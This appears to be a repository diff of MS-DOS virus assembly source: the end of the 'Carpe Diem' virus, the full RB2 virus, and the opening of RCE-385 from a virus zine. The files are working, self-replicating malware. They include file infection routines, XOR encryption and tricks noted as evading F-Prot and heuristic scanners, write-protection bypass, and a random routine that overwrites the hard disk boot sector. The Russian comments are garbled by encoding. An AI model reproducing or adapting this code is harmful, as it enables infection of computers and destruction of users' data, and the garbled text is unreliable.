; There is about a 5 percent chance that the nuking routine will be
|
||||
; activated, it checks the system time for 1/100 of a second. If it's
|
||||
; activated it'll overwrite the first sector on the fixed disk (c:)
|
||||
; which contains the boot sector. This might seem cruel but, infact,
|
||||
; it's quite harmless 'cause norton utilities and other programs
|
||||
; easily restore the boot sector. It's there just to make inexperienced
|
||||
; users (lamers!) nervous!
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; CARPE DIEM! - Seize the day
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
cseg segment byte public 'code'
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
start_of_virus: ;entry point
|
||||
call get_off ;this somewhat unusual code won't
|
||||
get_off: ;produce a flexible entry point flag
|
||||
mov si,sp ;get the delta offset
|
||||
mov bp,word ptr ss:[si] ;offset is on top of stack
|
||||
sub bp,offset get_off ;put it in bp
|
||||
inc sp ;restore sp to it's original
|
||||
inc sp
|
||||
|
||||
; call encrypt_decrypt ;decrypt the contents of the program
|
||||
mov ax,bp ;use alternative code - otherwise
|
||||
add ax,116h ;f-prot will recognize it as Radyum!!!!
|
||||
push ax
|
||||
jmp encrypt_decrypt
|
||||
jmp encrypted_code_start ;jmp to the (en/de)crypted virus area
|
||||
|
||||
|
||||
encryption_value dw 0 ;random value for encryption routine
|
||||
|
||||
|
||||
write_virus_to_file: ;proc to append virus code to file
|
||||
|
||||
call encrypt_decrypt ;encrypt the virus before write
|
||||
|
||||
mov cx,offset end_of_virus-100h ;length of virus to be written
|
||||
lea dx,[bp] ;write from start
|
||||
mov ax,word ptr [bp+end_of_virus+1ah+2] ;most significant part of
|
||||
inc ah ;file length in DTA. Is
|
||||
add dx,ax ;always 0 in .com-files.
|
||||
mov ah,40h ;Use this trick to fool
|
||||
int 21h ;heuristic searches.
|
||||
;dx = delta offset+100h
|
||||
call encrypt_decrypt ;decrypt the code for
|
||||
ret ;further processing.
|
||||
|
||||
|
||||
encrypt_decrypt: ;proc to (en/de)crypt the code
|
||||
mov dx,word ptr [bp+encryption_value] ;use random number for every
|
||||
lea si,[bp+encrypted_code_start] ;new infection
|
||||
mov cx,(end_of_virus-encrypted_code_start+1)/2
|
||||
|
||||
crypt_loop: ;xor the whole virus code
|
||||
xor word ptr [si],dx ;between encrypted_code_start
|
||||
add si,2 ;and end_of_virus
|
||||
loop crypt_loop
|
||||
|
||||
ret
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; Here the part that will be encrypted starts, i.e. all code
|
||||
; except the encryption routine and the routine to append virus
|
||||
; to file.
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
encrypted_code_start:
|
||||
|
||||
cld
|
||||
|
||||
mov ah,1ah ;Set DTA Transfer area to after
|
||||
lea dx,[bp+end_of_virus] ;after the end of file to save file
|
||||
int 21h ;size. Note: do not use default 80h
|
||||
;as DTA area since the parameters to
|
||||
;the "real" program will be overwritten!
|
||||
|
||||
lea si,[bp+orgbuf] ;Transfer buffer contents
|
||||
lea di,[bp+orgbuf2] ;to be restored to the beginning
|
||||
mov cx,2 ;for restart of the "real" program
|
||||
rep movsw
|
||||
|
||||
mov di,2 ;Infection counter, 2 files every run
|
||||
|
||||
mov ah,19h ;get current drive
|
||||
int 21h
|
||||
cmp al,2 ;check if a: or b:
|
||||
jae get_cur_dir ;if so, skip infection. Otherwise
|
||||
jmp no_more_files ;the user will most likely get
|
||||
;quite suspicious
|
||||
get_cur_dir:
|
||||
mov ah,47h ;get starting directory
|
||||
xor dl,dl ;it will be changed by the
|
||||
lea si,[bp+end_of_virus+2ch] ;dot-dot method later on
|
||||
int 21h
|
||||
|
||||
find_first: ;start finding the first .com file
|
||||
mov cx,7 ;in every new dir
|
||||
lea dx,[bp+filespec]
|
||||
mov ah,4eh
|
||||
int 21h
|
||||
jnc clear_attribs ;successive?
|
||||
|
||||
call ch_dir ;no more files in dir. change dir
|
||||
jmp find_first ;start over again
|
||||
;otherwise jmp
|
||||
|
||||
find_next: ;this is the upper point of the find
|
||||
mov ah,4fh ;files loop in a dir
|
||||
int 21h
|
||||
jnc clear_attribs
|
||||
|
||||
call ch_dir ;no more files in dir. change dir
|
||||
jmp find_first ;start over again
|
||||
|
||||
clear_attribs: ;set the file attribute to 0
|
||||
mov ax,4301h
|
||||
xor cx,cx
|
||||
lea dx,[bp+end_of_virus+1eh]
|
||||
int 21h
|
||||
|
||||
open_file: ;open file to be infected
|
||||
mov ax,3d02h
|
||||
; lea dx,[bp+end_of_virus+1eh] ;since clear_attribs
|
||||
int 21h
|
||||
|
||||
xchg ax,bx ;Put file handle in bx
|
||||
|
||||
read_file: ;read first four bytes of file
|
||||
mov ah,3fh ;They will be restore to the start
|
||||
mov cx,4 ;after the virus is finnished
|
||||
lea dx,[bp+orgbuf] ;so the program can execute
|
||||
int 21h
|
||||
|
||||
check_already_infected: ;check the first to bytes and check
|
||||
mov si,dx ;if the file is already infected
|
||||
lea si,[bp+orgbuf]
|
||||
cmp word ptr [si],0e990h
|
||||
je already_infected ;if so, jmp
|
||||
|
||||
cmp word ptr [bp+end_of_virus+35],'DN' ;check if command.com
|
||||
jz already_infected ;if so, don't infect
|
||||
|
||||
mov ax,word ptr [bp+end_of_virus+1ah] ;check file size
|
||||
cmp ax,500 ;and skip short and
|
||||
jb already_infected ;long files
|
||||
cmp ax,64000
|
||||
ja already_infected
|
||||
|
||||
|
||||
mov ax,4202h ;get lenght of initial jmp in ax
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
sub ax,4 ;subtract the first four bytes, which
|
||||
;will be overwritten
|
||||
|
||||
mov word ptr [bp+startbuf],0e990h ;load the buffer with a nop
|
||||
mov word ptr [bp+startbuf+2],ax ;and a jmp to virus beginning
|
||||
;notice the reversed order!
|
||||
|
||||
mov ax,4200h ;move to beginning of file
|
||||
int 21h
|
||||
|
||||
mov ah,40h ;write the new instructions
|
||||
mov cx,4
|
||||
lea dx,[bp+startbuf]
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ;move to end of file
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
mov ah,2ch ;get a random number from
|
||||
int 21h ;system clock for the
|
||||
mov word ptr [bp+encryption_value],dx ;encryption routine
|
||||
call write_virus_to_file ;append the virus code
|
||||
jmp restore_time_date
|
||||
|
||||
already_infected: ;if already encrypted increase
|
||||
inc di ;infection counter with one
|
||||
|
||||
restore_time_date: ;restore file time & date
|
||||
lea si,[bp+end_of_virus+16h]
|
||||
mov cx,word ptr [si]
|
||||
mov dx,word ptr [si+2]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
close_file: ;close the file handle
|
||||
mov ah,3eh
|
||||
int 21h
|
||||
|
||||
set_old_attrib: ;restore the old file attrib
|
||||
mov ax,4301h
|
||||
xor ch,ch
|
||||
mov cl,byte ptr [bp+end_of_virus+15h]
|
||||
lea dx,[bp+end_of_virus+1eh]
|
||||
int 21h
|
||||
|
||||
dec di ;decrease infection counter
|
||||
cmp di,0 ;and check if infection is
|
||||
jbe no_more_files ;completed
|
||||
jmp find_next
|
||||
|
||||
no_more_files:
|
||||
|
||||
mov ah,2ch ;get a new random number
|
||||
int 21h ;5% chance of nuke
|
||||
cmp dl,5
|
||||
ja restore_start ;above 5 no nuke
|
||||
|
||||
mov ax,0301h ;trash the bootsector of c:
|
||||
mov cx,0001h ;This might seem cruel but
|
||||
mov dx,0080h ;norton and other programs
|
||||
lea bx,[bp+start_of_virus] ;easily fix it. It's just
|
||||
int 13h ;to make the user nervous!!
|
||||
|
||||
mov ah,09h ;deliver a message too
|
||||
lea dx,[bp+signature]
|
||||
int 21h
|
||||
|
||||
|
||||
restore_start: ;copy the four saved bytes to
|
||||
lea si,[bp+orgbuf2] ;beginning of file in memory
|
||||
mov di,100h
|
||||
movsw
|
||||
movsw
|
||||
|
||||
|
||||
restore_dir: ;change back to original
|
||||
lea dx,[bp+end_of_virus+2ch] ;dir
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
|
||||
exit_proc: ;return to start of program
|
||||
mov bx,100h ;This will be enrypted in
|
||||
push bx ;infected files, so anti-vir
|
||||
;progs won't complain.
|
||||
xor ax,ax ;for org virus to push on
|
||||
retn ;the stack for ret
|
||||
|
||||
|
||||
ch_dir:
|
||||
lea dx,[bp+dot_dot] ;use dot-dot method
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
jnc no_err ;sub dir existed
|
||||
pop ax ;otherwise all files are checked. exit!
|
||||
jmp no_more_files ;pop the ip pointer from the stack
|
||||
no_err: ;and jump to the end part
|
||||
ret
|
||||
|
||||
signature db "CARPE DIEM! (c) '93 - Raver/Immortal Riot",0ah,0dh,'$'
|
||||
country db " Sweden 16/11/93"
|
||||
filespec db '*.com',0
|
||||
dot_dot db '..',0
|
||||
orgbuf db 90h,90h,50h,0c3h ;instructions to exit the
|
||||
orgbuf2 db 4 dup(0) ;scratch after infection
|
||||
startbuf db 4 dup(0) ;nop,nop,push ax,ret
|
||||
end_of_virus:
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; The virus code ends here but the point below here (the heap)
|
||||
; is used to store temporary variables such as the dta-area and
|
||||
; the starting directory
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
cseg ends
|
||||
end start_of_virus
|
461
MSDOS/Virus.MSDOS.Unknown.rb2.asm
Normal file
461
MSDOS/Virus.MSDOS.Unknown.rb2.asm
Normal file
@ -0,0 +1,461 @@
|
||||
page 70,120
|
||||
Name VIRUS
|
||||
;*************************************************************************
|
||||
|
||||
; Program Virus Ver.: 1.1
|
||||
; Copyright by R. Burger 1986
|
||||
; This is a demonstration program for computer
|
||||
; viruses. It has the ability to replicate itself,
|
||||
; and thereby modify other programs
|
||||
;*************************************************************************
|
||||
|
||||
|
||||
|
||||
Code Segment
|
||||
Assume CS:Code
|
||||
progr equ 100h
|
||||
ORG progr
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; The three NOP's serve as the marker byte of the
|
||||
; virus which will allow it to identify a virus
|
||||
;*************************************************************************
|
||||
|
||||
MAIN:
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Initialize the pointers
|
||||
;*************************************************************************
|
||||
|
||||
mov ax,00
|
||||
mov es:[pointer],ax
|
||||
mov es:[counter],ax
|
||||
mov es:[disks],al
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get the selected drive
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,19h ; drive?
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get the current path on the current drive
|
||||
;*************************************************************************
|
||||
|
||||
mov cs:drive,al ; save drive
|
||||
mov ah,47h ; dir?
|
||||
mov ah,ah
|
||||
mov si,si
|
||||
mov dh,0
|
||||
add al,1
|
||||
mov dl,dl
|
||||
nop ;****
|
||||
mov dl,al
|
||||
mov dl,dl
|
||||
nop ;**** ; in actual drive
|
||||
lea si,cs:old_path
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get the number of drives present.
|
||||
; If only one drive is present, the pointer for
|
||||
; search order will be set to search order + 6
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,0eh ; how many disks
|
||||
mov dl,0 ;****????
|
||||
int 21h
|
||||
|
||||
mov al,01
|
||||
cmp al,01 ; one drive?
|
||||
jnz hups3
|
||||
mov al,06
|
||||
|
||||
hups3: mov ah,0
|
||||
lea bx,search_order
|
||||
add bx,ax
|
||||
add bx,0001h
|
||||
mov cs:pointer,bx
|
||||
clc
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Carry is set, if no more .COM's are found.
|
||||
; Then, to avoid unnecessary work, .EXE files will
|
||||
; be renamed to .COM file and infected.
|
||||
; This causes the error message "Program too large
|
||||
; to fit in memory" when starting larger infected
|
||||
; EXE programs.
|
||||
;*************************************************************************
|
||||
|
||||
change_disk:
|
||||
jnc no_name_change
|
||||
mov ah,17h ; change exe to com
|
||||
lea dx,cs:maske_exe
|
||||
int 21h
|
||||
cmp al,0ffh
|
||||
jnz no_name_change ; .EXE found?
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; If neither .COM nor .EXE is found, then sectors will
|
||||
; be overwritten depending on the system time in
|
||||
; milliseconds. This is the time of the complete
|
||||
; "infection" of a storage medium. The virus can find
|
||||
; nothing more to infect and starts its destruction.
|
||||
;*************************************************************************
|
||||
|
||||
; mov ah,2ch ; read system clock
|
||||
; int 21h
|
||||
; mov bx,cs:pointer
|
||||
; mov al,cs:[bx]
|
||||
; mov bx,dx
|
||||
; nop ;****
|
||||
; mov cx,2
|
||||
; nop ;****
|
||||
; mov dh,0
|
||||
; int 26h ; write crap on disk
|
||||
|
||||
db ' RB2 - LiquidCode <tm> '
|
||||
;*************************************************************************
|
||||
|
||||
; Check if the end of the search order table has been
|
||||
; reached. If so, end.
|
||||
;*************************************************************************
|
||||
|
||||
no_name_change:
|
||||
mov bx,cs:pointer
|
||||
dec bx
|
||||
mov cs:pointer,bx
|
||||
mov dl,cs:[bx]
|
||||
cmp dl,0ffh
|
||||
jnz hups2
|
||||
jmp hops
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Get new drive from search order table and
|
||||
; select it.
|
||||
;*************************************************************************
|
||||
|
||||
hups2:
|
||||
mov ah,0eh
|
||||
mov dl,2 ;***** +
|
||||
int 21h ; change disk
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Start in the root directory
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3bh ; change path
|
||||
lea dx,path
|
||||
int 21h
|
||||
jmp find_first_file
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Starting from the root, search for the first subdir
|
||||
; First convert all .EXE files to .COM in the old
|
||||
; directory.
|
||||
;*************************************************************************
|
||||
|
||||
find_first_subdir:
|
||||
mov ah,17h ; change exe to com
|
||||
lea dx,cs:maske_exe
|
||||
int 21h
|
||||
mov ah,3bh ; use root dir
|
||||
lea dx,path
|
||||
int 21h
|
||||
mov ah,04eh ;Search for first subdirectory
|
||||
mov cx,00010001b ; dir mask
|
||||
lea dx,maske_dir
|
||||
int 21h
|
||||
jc change_disk
|
||||
|
||||
mov bx,CS:counter
|
||||
INC BX
|
||||
DEC bx
|
||||
jz use_next_subdir
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Search for the next subdir. If no more directories
|
||||
; are found, the drive will be changed.
|
||||
;*************************************************************************
|
||||
|
||||
find_next_subdir:
|
||||
mov ah,4fh ; search for next subdir
|
||||
int 21h
|
||||
jc change_disk
|
||||
dec bx
|
||||
jnz find_next_subdir
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Select found directory
|
||||
;*************************************************************************
|
||||
|
||||
use_next_subdir:
|
||||
mov ah,2fh ; get dta address
|
||||
int 21h
|
||||
add bx,1ch
|
||||
mov es:[bx],'\ ' ; address of name in dta
|
||||
inc bx
|
||||
push ds
|
||||
mov ax,es
|
||||
mov ds,ax
|
||||
mov dx,bx
|
||||
mov ah,3bh ; change path
|
||||
int 21h
|
||||
pop ds
|
||||
mov bx,cs:counter
|
||||
inc bx
|
||||
mov CS:counter,bx
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Find first .COM file in the current directory.
|
||||
; If there are non, search the next directory.
|
||||
;*************************************************************************
|
||||
|
||||
find_first_file:
|
||||
mov ah,04eh ; Search for first
|
||||
mov cx,00000001b ; mask
|
||||
lea dx,maske_com ;
|
||||
int 21h
|
||||
jc find_first_subdir
|
||||
jmp check_if_ill
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; If the program is already infected, search for
|
||||
; the next program.
|
||||
;*************************************************************************
|
||||
|
||||
find_next_file:
|
||||
mov ah,4fh ; search for next
|
||||
int 21h
|
||||
jc find_first_subdir
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Check if already infected by the virus.
|
||||
;*************************************************************************
|
||||
|
||||
check_if_ill:
|
||||
mov ah,3dh ; open channel
|
||||
mov al,02h ; read/write
|
||||
mov dx,9eh ; address of name in dta
|
||||
int 21h
|
||||
mov bx,ax ; save channel
|
||||
mov ah,3fh ; read file
|
||||
mov cx,buflen ;
|
||||
mov dx,buffer ; write in buffer
|
||||
int 21h
|
||||
mov ah,3eh ; CLOSE FILE
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Here we search for three NOP's.
|
||||
; If present, there is already an infection. We must
|
||||
; then continue the search.
|
||||
;*************************************************************************
|
||||
|
||||
mov bx,cs:[buffer]
|
||||
cmp bx,9090h
|
||||
jz find_next_file
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Bypass MS-DOS write protection if present
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,43h ; write enable
|
||||
mov al,0
|
||||
mov dx,9eh ; address of name in dta
|
||||
int 21h
|
||||
mov ah,43h
|
||||
mov al,01h
|
||||
and cx,11111110b
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Open file for write access.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3dh ; open channel
|
||||
mov al,02h ; read/write
|
||||
mov dx,9eh ; address of name in dta
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Read date entry of program and save for future use.
|
||||
;*************************************************************************
|
||||
|
||||
mov bx,ax ; channel
|
||||
mov ah,57h ; get date
|
||||
mov al,0
|
||||
int 21h
|
||||
push cx ; save date
|
||||
push dx
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; The jump located at address 0100h of the program
|
||||
; will be saved for future use.
|
||||
;*************************************************************************
|
||||
|
||||
mov dx,cs:[conta] ; save old jmp
|
||||
mov cs:[jmpbuf],dx
|
||||
mov dx,cs:[buffer+1] ; save new jump
|
||||
lea cx,cont-100h
|
||||
sub dx,cx
|
||||
mov cs:[conta],dx
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; The virus copies itself to the start of the file
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,40h ; write virus
|
||||
mov cx,buflen ; length buffer
|
||||
lea dx,main ; write virus
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Enter the old creation date of the file.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,57h ; write date
|
||||
mov al,1
|
||||
pop dx
|
||||
pop cx ; restore date
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Close the file.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3eh ; close file
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; restore the old jump address.
|
||||
; The virus saves at address "conta' the jump which
|
||||
; was at the start of the host program.
|
||||
; This is done to preserve the executability of the
|
||||
; host program as much as possible.
|
||||
; After saving itstill works with the jump address
|
||||
; contained in the virus. The jump address in the
|
||||
; virus differs from the jump address in memory
|
||||
;
|
||||
;*************************************************************************
|
||||
|
||||
mov dx,cs:[jmpbuf] ; restore old jmp
|
||||
mov cs:[conta],dx
|
||||
hops: nop
|
||||
call use_old
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Continue with the host program.
|
||||
;*************************************************************************
|
||||
|
||||
cont db 0e9h ; make jump
|
||||
conta dw 0
|
||||
mov ah,00
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; reactivate the selected drive at the start of the
|
||||
; program.
|
||||
;*************************************************************************
|
||||
|
||||
use_old:
|
||||
mov ah,0eh ; use old drive
|
||||
mov dl,cs:drive
|
||||
int 21h
|
||||
|
||||
;*************************************************************************
|
||||
|
||||
; Reactivate the selected path at the start of the
|
||||
; program.
|
||||
;*************************************************************************
|
||||
|
||||
mov ah,3bh ; use old dir
|
||||
lea dx,old_path-1 ; get old path and backslash
|
||||
int 21h
|
||||
ret
|
||||
|
||||
|
||||
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
|
||||
pointer dw 0000 ; pointer f. search order
|
||||
counter dw 0000 ; counter f. nth search
|
||||
disks db 0 ; number of disks
|
||||
|
||||
|
||||
maske_com db "*.com",00 ; search for com files
|
||||
maske_dir db "*",00 ; search dir's
|
||||
maske_exe db 0ffh,0,0,0,0,0,00111111b
|
||||
db 0,"????????exe",0,0,0,0
|
||||
db 0,"????????com",0
|
||||
maske_all db 0ffh,0,0,0,0,0,00111111b
|
||||
db 0,"???????????",0,0,0,0
|
||||
db 0,"????????com",0
|
||||
|
||||
buffer equ 0e000h ; a safe place
|
||||
|
||||
buflen equ 230h ; length of virus !!!!!!
|
||||
; careful
|
||||
; if changing !!!!!!
|
||||
|
||||
jmpbuf equ buffer+buflen ; a safe place for jump
|
||||
path db "\",0 ; first path
|
||||
drive db 0 ; actual drive
|
||||
back_slash db "\"
|
||||
old_path db 32 dup(?) ; old path
|
||||
|
||||
code ends
|
||||
|
||||
end main
|
||||
|
||||
;*************************************************************************
|
||||
; WHAT THE PROGRAM DOES:
|
||||
;
|
||||
; When the program is started, the first COM file in the root
|
||||
; directory is infected. You can't see any changes to the
|
||||
; directory entries. But if you look at the hex dump of an
|
||||
; infected program, you can see the marker, which in this case
|
||||
; consists of three NOP's (hex 90). WHen the infected program
|
||||
; is started, the virus will first replicate itself, and then
|
||||
; try to run the host program. It may run or it may not, but
|
||||
; it will infect another program. This continues until all
|
||||
; the COM files are infected. The next time it is run, all
|
||||
; of the EXE files are changed to COM files so that they can
|
||||
; be infected. In addition, the manipulation task of the virus
|
||||
; begins, which consists of the random destruction of disk
|
||||
; sectors.
|
||||
;*************************************************************************
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
391
MSDOS/Virus.MSDOS.Unknown.rce.asm
Normal file
391
MSDOS/Virus.MSDOS.Unknown.rce.asm
Normal file
@ -0,0 +1,391 @@
|
||||
;ÛßßßßßßßßßßßßßßßÛ ß ß ÛÛßÛÛßÛÛ
|
||||
;Û STEALTH group Û° Û ÛßÜ Ûßß Üßß Üßß ßÛß Üßß ÛßÛ Ý Û ÜßÛ Û Üßß Üßß ÛÛ ßß ÛÛ
|
||||
;Û presents Û° Û Û Û Ûß Ûß Û Û Ûß Û Û Û Û Û Û Û Û ßÛßß ÛÛÛÛÛ ÛÛ
|
||||
;ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ° Þ Þ Þ Þ ÞÜÜ ÞÜÜ Þ ÞÜÜ ÞÜß ßÛ ßÜÛ Þ ÞÜÜ ÞÜÜ ÛÛÛÛÛÜÛÛ
|
||||
; °°°°°°°°°°°°°°°°° JAN 1995
|
||||
;
|
||||
; INFECTED VOICE. Issue 4. January 1995. (C) STEALTH group, Kiev 148, Box 10.
|
||||
; THE FIRST UNIQUE VIRUS MAGAZINE IN FORMER U.S.S.R.!!!
|
||||
;
|
||||
;--- RCE-385 (!).-------------------------------------------------------------
|
||||
; <20>ª¨¥ ®¤ ª® ¢à¥¬¥ ¯®è«¨ - ®¡ì«áï ¥ª¨© ¤ï¤îèª Œ®á⮢®© ¨ ¯¨á « ᢮©
|
||||
;ç¥à⮢᪨ ¤®â®èë© AdInf -> ã ¨ çâ® ¦¥ ⥯¥àì?Œ-¤ ,⥯¥àì ᨤ¨¬ ¬ë â¥å®ªàëáë
|
||||
;¨ á⥠¥¬ ¯® ⥬ ¤®¡àë¬ ¢à¥¬¥ ¬,ª®£¤ ã à æ¥«ë© §®®¯ ઠ¬ 訥 ¡¥£ «,
|
||||
; ® - ¡« ¦¥ ¢ ¥¢¥¤¥¨¨,á«î®î ¡à맦 ,¤®ª §ë¢ «,çâ® ¥âã â ª¨å §¢¥à¥© ¢ RAM¥.
|
||||
; € ⥯¥àì ¯® áâ ¢¨«¨ ¯à¨¬®ç¥ª ¢á直å - çãâì çâ®,áà §ã § ¢®¯ïâ!„ ¦¥ á⥫§ë
|
||||
;¯à¨§ ¤ã¬ «¨áì : "€ 祣® íâ® ¬ë ᤥáì ⥫ ᢮¨ ᮪àë¢ ¥¬,¯àïç áì ª ª *beep ¢
|
||||
;*beep".ˆ á â¥å ¯®à ¯®è¥« à §« ¤ ¢ á।¥ ‚¨à¬ ª®¢.Šâ® ¯à¥¤« £ ¥â àë«® ¢ § é¨é¥-
|
||||
;ë© à¥¦¨¬ áããâì ¨ ⥬ á ¬ë¬ ¯®¤£«ï¤ë¢ ¨¥ ¯à¨á¥çì, ªâ® ¯® ¤®¡à®â¥ ¤ã襢®©
|
||||
;®¡¥é ¥â ¯à¨ ॠªæ¨¨ ¤¥â¥ªâ®à ª ª®£®, «ì áâ®à®¦ ¢¥§¤¥áã饣®,¬ 訥 ¢¨â
|
||||
; *beep ®¯ã᪠âì!<21>® ¢á¥ íâ® ¯®« ï *beepï!<21>®á«ãè ©â¥ ¡à âæë ‚¨à¬ ª¨ --
|
||||
;¥ ¢ â¨à ¦¥ áç áâì¥, ¢ ªà á®â¥ «£®à¨â¬ !!!<21>¥å © «®¢ïâáï ¢ è¨ §¢¥à¨ ¢á直¬¨
|
||||
;ॢ¨§®à ¬¨,¯ãáâì ä®à¬ â¨â à ᢮¨ ¢¨âë.<2E>Ž 祬 ¡®«ìè¥ á ⥬ ¬¥ìè¥ î§¥à®¢!
|
||||
;(ˆ¡® ¬®£¨¥ ¨§ á ¥é¥ ¥ ¯®§ ¡ë«¨ Basic).€ «¥ç¨«ª¨ ¢á直¥ - ®¨ ¬ §¥¬«î
|
||||
;à áç¨é îâ,¤«ï ®¢ëå "¯®á ¤®ª"!
|
||||
; <20>® ᨥ ¢á¥ 梥â®çª ¬¨ ®¡§ë¢ ¥âáï!€ ¢®â ¯à¥¤á⠢⥠ᥡ¥,çâ® á¬ëè«¥ë© ¬ «ë©
|
||||
;¦¥« ¥â ¯¨á âì ¯¥à¢®¥ ᢮¥ ¯à®¨§¢¥¤¥¨¥, ¥â ã ¥£® ¨ ⥮ਨ ¨ ¬ â¥àëå
|
||||
;ª®à¥è¥©-‚¨à¬ ª®¢!‚®â ¨ ¯à¨è«®áì ¬¥ á®áâ ¢«ïâì ¯®á®¡¨¥-¤«ï- ç¨ îé¨å.
|
||||
;<3B>ë« íâ® ¢¨àãá RCE-666 (¬®î ¯¨á ).Aidstest ¥£® ª«¨ç¥â: INFO /666,Web: Die-666.
|
||||
;® ¯®â®¬ ®¡à¥§ ¢ ¥£® ¬ «¥ìª®,¯®«ã稫 ï RCE-385!
|
||||
; <20> ¤¥îáì,çâ® Ž<> ¤«ï ®¢¨çª®¢- ã祡¨ª®¬ áâ ¥â, ¤«ï £®á¯®¤ « ¬¥à®¢ - ¤®á⮩-
|
||||
;ë¬ ¯®«¨£®®¬!
|
||||
;-----------------------------------------------------------------------------
|
||||
;(c) Light General.Kiev.1995. STEALTH group . For free use!
|
||||
;-----------------------------------------------------------------------------
|
||||
|
||||
cseg segment
|
||||
assume cs:cseg,ds:cseg
|
||||
org 100h
|
||||
start:
|
||||
nop ; <20>ਧ ª § à ¦¥¨ï .COM ä ©« .
|
||||
jmp virr
|
||||
; Ÿª®¡ë § à ¦¥ ï ¯à®£à ¬¬ .(‡ ¨¬ ¥â 30 ¡ ©â).
|
||||
nop
|
||||
nop
|
||||
mov ah,09
|
||||
lea dx,wrn
|
||||
int 21h
|
||||
mov ax,4c00h
|
||||
int 21h
|
||||
;--------------------------------------
